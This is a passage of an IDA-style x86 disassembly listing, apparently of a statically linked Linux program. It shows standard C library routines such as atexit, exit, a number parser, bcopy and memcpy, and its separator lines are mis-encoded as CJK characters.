陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055F28: ; CODE XREF: atexit+Ej mov eax, 0FFFFFFFFh loc_8055F2D: ; CODE XREF: atexit+1Bj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn atexit endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden __new_exitfn proc near ; CODE XREF: atexit+7p push ebp mov ebp, esp mov ecx, dword_8078AF4 test ecx, ecx jz short loc_8055F6C db 8Dh,76h,0 ; lea esi, [esi+0] loc_8055F44: ; CODE XREF: __new_exitfn+36j xor edx, edx cmp [ecx+4], edx jbe short loc_8055F60 xor eax, eax db 8Dh,76h,0 ; lea esi, [esi+0] loc_8055F50: ; CODE XREF: __new_exitfn+2Aj cmp dword ptr [eax+ecx+8], 0 jz short loc_8055F98 add eax, 0Ch inc edx cmp [ecx+4], edx jnz short loc_8055F50 loc_8055F60: ; CODE XREF: __new_exitfn+15j cmp dword ptr [ecx+4], 1Fh jbe short loc_8055FA0 mov ecx, [ecx] test ecx, ecx jnz short loc_8055F44 loc_8055F6C: ; CODE XREF: __new_exitfn+Bj push 188h call malloc mov ecx, eax test ecx, ecx jz short loc_8055FB4 mov eax, dword_8078AF4 mov [ecx], eax mov dword_8078AF4, ecx mov dword ptr [ecx+4], 1 lea eax, [ecx+8] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055F98: ; CODE XREF: __new_exitfn+21j lea eax, [ecx+eax+8] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055FA0: ; CODE XREF: __new_exitfn+30j mov eax, [ecx+4] lea eax, [eax+eax*2] lea eax, [ecx+eax*4+8] inc dword ptr [ecx+4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055FB4: ; CODE XREF: __new_exitfn+46j xor eax, eax mov esp, ebp pop ebp retn __new_exitfn endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden exit proc near ; CODE XREF: start+5Cp main+52p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov edi, dword_8078AF4 test edi, edi jz short loc_805601D loc_8055FCC: ; CODE XREF: exit+5Fj mov ebx, [edi+4] mov eax, ebx dec ebx test eax, eax jz short loc_8056017 lea eax, [ebx+ebx*2] lea esi, ds:8[eax*4] loc_8055FE0: ; CODE XREF: exit+59j lea edx, [esi+edi] mov eax, [edx] cmp eax, 1 jz short loc_8055FF4 jb short loc_805600D cmp eax, 2 jz short loc_8056008 jmp short loc_805600D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055FF4: ; CODE XREF: exit+2Cj mov eax, [edx+8] push eax mov ecx, [ebp+arg_0] push ecx mov eax, [edx+4] call eax add esp, 8 jmp short loc_805600D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8056008: ; CODE XREF: exit+33j mov eax, [edx+4] call eax loc_805600D: ; CODE XREF: exit+2Ej exit+35j ... mov eax, ebx add esi, 0FFFFFFF4h dec ebx test eax, eax jnz short loc_8055FE0 loc_8056017: ; CODE XREF: exit+18j mov edi, [edi] test edi, edi jnz short loc_8055FCC loc_805601D: ; CODE XREF: exit+Ej call sub_8062188 mov ecx, [ebp+arg_0] push ecx call _exit nop exit endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805602C proc near ; CODE XREF: vfprintf+6Cp vfprintf+95p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] test eax, eax jz short loc_805603E cmp byte ptr [eax], 0 jnz short loc_8056044 loc_805603E: ; CODE XREF: sub_805602C+Bj xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8056044: ; CODE XREF: sub_805602C+10j test edx, edx jz short loc_805604D movzx eax, byte ptr [eax] mov [edx], eax loc_805604D: ; CODE XREF: sub_805602C+1Aj mov eax, 1 mov esp, ebp pop ebp retn sub_805602C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden random proc near ; CODE XREF: main+28Bp main+30Cp ... push ebp mov ebp, esp call __random mov esp, ebp pop ebp retn random endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8056064 proc near ; CODE XREF: res_setoptions+59p ; sub_8056434+11p var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push edi push esi push ebx mov ebx, [ebp+arg_C] test ebx, ebx jz short loc_80560C5 mov eax, dword_8078890 mov eax, [eax+14h] mov [ebp+var_1C], eax cmp byte ptr [eax], 0 jz short loc_80560C5 cmp byte ptr [eax], 0FFh jz short loc_80560C5 mov eax, dword_8078890 mov edx, [eax+10h] xor al, al mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax push eax push edx lea eax, [ebp+var_4] push eax call sub_805602C test eax, eax jg short loc_80560BF mov eax, dword_8078890 mov eax, [eax+10h] movzx eax, byte ptr [eax] mov [ebp+var_4], eax loc_80560BF: ; CODE XREF: sub_8056064+4Bj cmp [ebp+var_4], 0 jnz short loc_80560CC loc_80560C5: ; CODE XREF: sub_8056064+Ej ; sub_8056064+1Ej ... mov [ebp+var_1C], 0 loc_80560CC: ; CODE XREF: sub_8056064+5Fj cmp [ebp+arg_8], 0 jl short loc_80560DE cmp [ebp+arg_8], 1 jz short loc_80560DE cmp [ebp+arg_8], 24h jle short loc_80560E5 loc_80560DE: ; CODE XREF: sub_8056064+6Cj ; sub_8056064+72j mov [ebp+arg_8], 0Ah loc_80560E5: ; CODE XREF: sub_8056064+78j mov esi, [ebp+arg_0] mov [ebp+var_14], esi movzx eax, byte ptr [esi] mov ecx, dword_8078FA0 test byte ptr [ecx+eax*2+1], 20h jz short loc_8056107 nop loc_80560FC: ; CODE XREF: sub_8056064+A1j inc esi movzx eax, byte ptr [esi] test byte ptr [ecx+eax*2+1], 20h jnz short loc_80560FC loc_8056107: ; CODE XREF: sub_8056064+95j cmp byte ptr [esi], 0 jz loc_80563EC cmp byte ptr [esi], 2Dh jnz short loc_8056120 mov [ebp+var_8], 1 inc esi jmp short loc_8056137 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8056120: ; CODE XREF: sub_8056064+AFj cmp byte ptr [esi], 2Bh jnz short loc_8056130 mov [ebp+var_8], 0 inc esi jmp short loc_8056137 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8056130: ; CODE XREF: sub_8056064+BFj mov [ebp+var_8], 0 loc_8056137: ; CODE XREF: sub_8056064+B9j ; sub_8056064+C9j cmp [ebp+arg_8], 10h jnz short loc_8056154 cmp byte ptr [esi], 30h jnz short loc_8056154 movzx edx, byte ptr [esi+1] mov eax, dword_8078FA8 cmp dword ptr [eax+edx*4], 58h jnz short loc_8056154 add esi, 2 loc_8056154: ; CODE XREF: sub_8056064+D7j ; sub_8056064+DCj ... cmp [ebp+arg_8], 0 jnz short loc_805618F cmp byte ptr [esi], 30h jnz short loc_8056188 movzx edx, byte ptr [esi+1] mov eax, dword_8078FA8 cmp dword ptr [eax+edx*4], 58h jnz short loc_805617C add esi, 2 mov [ebp+arg_8], 10h jmp short loc_805618F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805617C: ; CODE XREF: sub_8056064+108j mov [ebp+arg_8], 8 jmp short loc_805618F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8056188: ; CODE XREF: sub_8056064+F9j mov [ebp+arg_8], 0Ah loc_805618F: ; CODE XREF: sub_8056064+F4j ; sub_8056064+114j ... mov [ebp+var_14], esi test ebx, ebx jz loc_80562F4 mov ebx, [ebp+var_14] mov dl, [ebx] mov [ebp+var_2C], dl test dl, dl jz short loc_80561E7 mov ecx, dword_8078FA0 mov edi, dword_8078FA8 mov [ebp+var_34], edi db 8Dh,76h,0 ; lea esi, [esi+0] loc_80561B8: ; CODE XREF: sub_8056064+181j movzx eax, [ebp+var_2C] cmp [ebp+var_4], eax jz short loc_80561DD test byte ptr [ecx+eax*2+1], 8 jnz short loc_80561DD test byte ptr [ecx+eax*2+1], 4 jz short loc_80561E7 mov edx, [ebp+var_34] mov eax, [edx+eax*4] add eax, 0FFFFFFC9h cmp [ebp+arg_8], eax jle short loc_80561E7 loc_80561DD: ; CODE XREF: sub_8056064+15Bj ; sub_8056064+162j inc ebx mov dl, [ebx] mov [ebp+var_2C], dl test dl, dl jnz short loc_80561B8 loc_80561E7: ; CODE XREF: sub_8056064+140j ; sub_8056064+169j ... movzx eax, byte ptr [esi] cmp [ebp+var_4], eax jnz short loc_80561F8 mov ebx, esi jmp loc_80562F6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80561F8: ; CODE XREF: sub_8056064+189j mov [ebp+var_20], ebx mov edi, [ebp+var_4] mov [ebp+var_24], edi cmp [ebp+var_1C], 0 jz loc_80562F6 cmp ebx, esi jbe loc_80562DC nop loc_8056214: ; CODE XREF: sub_8056064+272j mov ecx, [ebp+var_20] dec ecx mov ebx, [ebp+var_1C] cmp ecx, esi jb short loc_805622D nop loc_8056220: ; CODE XREF: sub_8056064+1C7j movzx eax, byte ptr [ecx] cmp [ebp+var_24], eax jz short loc_805622D dec ecx cmp ecx, esi jnb short loc_8056220 loc_805622D: ; CODE XREF: sub_8056064+1B9j ; sub_8056064+1C2j mov edx, [ebp+var_20] sub edx, ecx movzx eax, byte ptr [ebx] inc eax cmp edx, eax jnz short loc_80562B4 cmp ecx, esi jb loc_80562EC lea edx, [ecx-1] mov [ebp+var_28], edx loc_8056248: ; CODE XREF: sub_8056064+20Bj ; sub_8056064+243j inc ebx cmp byte ptr [ebx], 0 jnz short loc_805624F dec ebx loc_805624F: ; CODE XREF: sub_8056064+1E8j dec ecx cmp byte ptr [ebx], 0FFh jnz short loc_8056274 cmp ecx, esi jb loc_80562EC db 8Dh,76h,0 ; lea esi, [esi+0] loc_8056260: ; CODE XREF: sub_8056064+207j movzx eax, byte ptr [ecx] cmp [ebp+var_24], eax jz short loc_805626D dec ecx cmp ecx, esi jnb short loc_8056260 loc_805626D: ; CODE XREF: sub_8056064+202j cmp ecx, esi jnb short loc_8056248 jmp short loc_80562EC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8056274: ; CODE XREF: sub_8056064+1EFj mov [ebp+var_34], ecx cmp ecx, esi jb short loc_805628D nop loc_805627C: ; CODE XREF: sub_8056064+223j movzx eax, byte ptr [ecx] cmp [ebp+var_24], eax jz short loc_8056289 dec ecx cmp ecx, esi jnb short loc_805627C loc_8056289: ; CODE XREF: sub_8056064+21Ej cmp ecx, esi jnb short loc_805629D loc_805628D: ; CODE XREF: sub_8056064+215j mov edx, [ebp+var_34] sub edx, ecx movzx eax, byte ptr [ebx] cmp edx, eax jle short loc_80562EC cmp ecx, esi jb short loc_80562A9 loc_805629D: ; CODE XREF: sub_8056064+227j mov edx, [ebp+var_34] sub edx, ecx movzx eax, byte ptr [ebx] cmp edx, eax jz short loc_8056248 loc_80562A9: ; CODE XREF: sub_8056064+237j mov edi, [ebp+var_28] mov [ebp+var_20], edi jmp short loc_80562D3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80562B4: ; CODE XREF: sub_8056064+1D4j mov edx, [ebp+var_20] sub edx, ecx movzx ebx, byte ptr [ebx] lea eax, [ebx+1] cmp edx, eax jle short loc_80562CC lea ebx, [ebx+ecx+1] mov [ebp+var_20], ebx jmp short loc_80562D3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80562CC: ; CODE XREF: sub_8056064+25Dj cmp ecx, esi jb short loc_80562EC mov [ebp+var_20], ecx loc_80562D3: ; CODE XREF: sub_8056064+24Bj ; sub_8056064+266j cmp [ebp+var_20], esi ja loc_8056214 loc_80562DC: ; CODE XREF: sub_8056064+1A9j mov eax, esi cmp [ebp+var_20], esi jbe short loc_80562E6 mov eax, [ebp+var_20] loc_80562E6: ; CODE XREF: sub_8056064+27Dj mov ebx, eax jmp short loc_80562F6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80562EC: ; CODE XREF: sub_8056064+1D8j ; sub_8056064+1F3j ... mov ebx, [ebp+var_20] jmp short loc_80562F6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80562F4: ; CODE XREF: sub_8056064+130j xor ebx, ebx loc_80562F6: ; CODE XREF: sub_8056064+18Dj ; sub_8056064+1A1j ... mov eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov [ebp+var_10], edx mov [ebp+var_C], eax mov [ebp+var_18], 0 xor ecx, ecx mov dl, [esi] mov [ebp+var_2C], dl test dl, dl jz short loc_805638C mov edi, dword_8078FA0 mov [ebp+var_34], edi db 8Dh,76h,0 ; lea esi, [esi+0] loc_8056324: ; CODE XREF: sub_8056064+326j cmp esi, ebx jz short loc_805638C movzx eax, [ebp+var_2C] mov edx, [ebp+var_34] test byte ptr [edx+eax*2+1], 8 jz short loc_805633C add [ebp+var_2C], 0D0h jmp short loc_805635A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805633C: ; CODE XREF: sub_8056064+2D0j movzx edi, [ebp+var_2C] mov [ebp+var_30], edi mov edx, [ebp+var_34] test byte ptr [edx+edi*2+1], 4 jz short loc_805638C mov eax, dword_8078FA8 mov al, [eax+edi*4] add al, 0C9h mov [ebp+var_2C], al loc_805635A: ; CODE XREF: sub_8056064+2D6j movzx eax, [ebp+var_2C] cmp [ebp+arg_8], eax jle short loc_805638C cmp [ebp+var_C], ecx jb short loc_805636F jnz short loc_8056378 cmp [ebp+var_10], eax jnb short loc_8056378 loc_805636F: ; CODE XREF: sub_8056064+302j mov [ebp+var_18], 1 jmp short loc_8056382 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8056378: ; CODE XREF: sub_8056064+304j ; sub_8056064+309j imul ecx, [ebp+arg_8] movzx eax, [ebp+var_2C] add ecx, eax loc_8056382: ; CODE XREF: sub_8056064+312j inc esi mov dl, [esi] mov [ebp+var_2C], dl test dl, dl jnz short loc_8056324 loc_805638C: ; CODE XREF: sub_8056064+2B2j ; sub_8056064+2C2j ... cmp [ebp+var_14], esi jz short loc_80563EC cmp [ebp+arg_4], 0 jz short loc_805639C mov edi, [ebp+arg_4] mov [edi], esi loc_805639C: ; CODE XREF: sub_8056064+331j cmp [ebp+var_8], 0 jz short loc_80563AC cmp ecx, 80000000h ja short loc_80563B4 jmp short loc_80563BB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80563AC: ; CODE XREF: sub_8056064+33Cj cmp ecx, 7FFFFFFFh jbe short loc_80563BB loc_80563B4: ; CODE XREF: sub_8056064+344j mov [ebp+var_18], 1 loc_80563BB: ; CODE XREF: sub_8056064+346j ; sub_8056064+34Ej cmp [ebp+var_18], 0 jz short loc_80563E0 mov __errno, 22h mov eax, 7FFFFFFFh cmp [ebp+var_8], 0 jz short loc_805642A mov eax, 80000000h jmp short loc_805642A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80563E0: ; CODE XREF: sub_8056064+35Bj mov eax, ecx cmp [ebp+var_8], 0 jz short loc_805642A neg eax jmp short loc_805642A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80563EC: ; CODE XREF: sub_8056064+A6j ; sub_8056064+32Bj cmp [ebp+arg_4], 0 jz short loc_8056428 mov eax, [ebp+var_14] sub eax, [ebp+arg_0] cmp eax, 1 jle short loc_8056420 mov edx, [ebp+var_14] movzx edx, byte ptr [edx-1] mov eax, dword_8078FA4 cmp dword ptr [eax+edx*4], 78h jnz short loc_8056420 mov edi, [ebp+var_14] cmp byte ptr [edi-2], 30h jnz short loc_8056420 dec edi mov edx, [ebp+arg_4] mov [edx], edi jmp short loc_8056428 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8056420: ; CODE XREF: sub_8056064+397j ; sub_8056064+3A9j ... mov edx, [ebp+arg_0] mov edi, [ebp+arg_4] mov [edi], edx loc_8056428: ; CODE XREF: sub_8056064+38Cj ; sub_8056064+3BAj xor eax, eax loc_805642A: ; CODE XREF: sub_8056064+370j ; sub_8056064+377j ... lea esp, [ebp+var_40] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8056064 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8056434 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] push 0 push eax push edx push ecx call sub_8056064 mov esp, ebp pop ebp retn sub_8056434 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8056450 proc near ; CODE XREF: gethostbyaddr+1CFp ; sub_804CB94+33p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov edx, [ebp+arg_8] test edx, edx jle short loc_8056474 xor eax, eax mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov ecx, edx cld repe cmpsb jz short loc_805646F sbb eax, eax or al, 1 loc_805646F: ; CODE XREF: sub_8056450+19j mov edx, eax jmp short loc_8056476 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8056474: ; CODE XREF: sub_8056450+Aj xor eax, eax loc_8056476: ; CODE XREF: sub_8056450+21j lea esp, [ebp+var_8] pop esi pop edi mov esp, ebp pop ebp retn sub_8056450 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden bcopy proc near ; CODE XREF: sub_8049174+123p ; sub_8049564+177p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov edx, [ebp+arg_8] mov edi, [ebp+arg_4] mov esi, [ebp+arg_0] test edx, edx jle loc_8056523 mov eax, edi sub eax, esi cmp eax, edx jb short loc_80564D8 cmp edx, 7 jle short loc_80564CF mov eax, edi neg eax and eax, 3 sub edx, eax mov ecx, eax cld repe movsb mov eax, edx test edx, edx jge short loc_80564BA lea eax, [edx+3] loc_80564BA: ; CODE XREF: bcopy+35j sar eax, 2 mov ecx, eax cld repe movsd mov eax, edx test edx, edx jge short loc_80564CB lea eax, [edx+3] loc_80564CB: ; CODE XREF: bcopy+46j and al, 0FCh sub edx, eax loc_80564CF: ; CODE XREF: bcopy+21j mov ecx, edx cld repe movsb jmp short loc_8056523 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80564D8: ; CODE XREF: bcopy+1Cj add esi, edx add edi, edx cmp edx, 7 jle short loc_805651B mov eax, edi and eax, 3 sub edx, eax dec edi dec esi mov ecx, eax std repe movsb cld add edi, 0FFFFFFFDh add esi, 0FFFFFFFDh mov eax, edx test edx, edx jge short loc_80564FF lea eax, [edx+3] loc_80564FF: ; CODE XREF: bcopy+7Aj sar eax, 2 mov ecx, eax std repe movsd cld add edi, 4 add esi, 4 mov eax, edx test edx, edx jge short loc_8056517 lea eax, [edx+3] loc_8056517: ; CODE XREF: bcopy+92j and al, 0FCh sub edx, eax loc_805651B: ; CODE XREF: bcopy+5Fj dec edi dec esi mov ecx, edx std repe movsb cld loc_8056523: ; CODE XREF: bcopy+10j bcopy+54j lea esp, [ebp+var_8] pop esi pop edi mov esp, ebp pop ebp retn bcopy endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden memcpy proc near ; CODE XREF: send_packet+151p ; get_haddr+24p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_8] mov edi, ebx mov esi, [ebp+arg_4] cmp edx, 7 jbe short loc_805655D mov eax, ebx neg eax and eax, 3 sub edx, eax mov ecx, eax cld repe movsb mov eax, edx shr eax, 2 mov ecx, eax cld repe movsd and edx, 3 loc_805655D: ; CODE XREF: memcpy+14j mov ecx, edx cld repe movsb mov eax, ebx lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn memcpy endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8056570 proc near ; CODE XREF: init_services_resolv+11Ep ; sub_8054C7C+3Cp ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_8] mov edi, ebx mov esi, [ebp+arg_4] mov eax, ebx sub eax, esi cmp eax, edx jb short loc_80565B0 cmp edx, 7 jbe short loc_80565A9 mov eax, ebx neg eax and eax, 3 sub edx, eax mov ecx, eax cld repe movsb mov eax, edx shr eax, 2 mov ecx, eax cld repe movsd and edx, 3 loc_80565A9: ; CODE XREF: sub_8056570+1Cj mov ecx, edx cld repe movsb jmp short loc_80565EA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80565B0: ; CODE XREF: sub_8056570+17j add esi, edx add edi, edx cmp edx, 7 jbe short loc_80565E2 mov eax, edi and eax, 3 sub edx, eax dec edi dec esi mov ecx, eax std repe movsb cld add edi, 0FFFFFFFDh add esi, 0FFFFFFFDh mov eax, edx shr eax, 2 mov ecx, eax std repe movsd cld add edi, 4 add esi, 4 and edx, 3 loc_80565E2: ; CODE XREF: sub_8056570+47j dec edi dec esi mov ecx, edx std repe movsb cld loc_80565EA: ; CODE XREF: sub_8056570+3Ej mov eax, ebx lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8056570 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80565F8 proc near ; CODE XREF: dotrimdomain+4Ep ; getanswer+248p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] cmp esi, ebx jnz short loc_805660C xor eax, eax jmp short loc_8056633 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805660C: ; CODE XREF: sub_80565F8+Ej movzx eax, byte ptr [esi] mov edi, dword_8078FA4 jmp short loc_8056621 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8056618: ; CODE XREF: sub_80565F8+39j test cl, cl jz short loc_8056633 inc esi inc ebx movzx eax, byte ptr [esi] loc_8056621: ; CODE XREF: 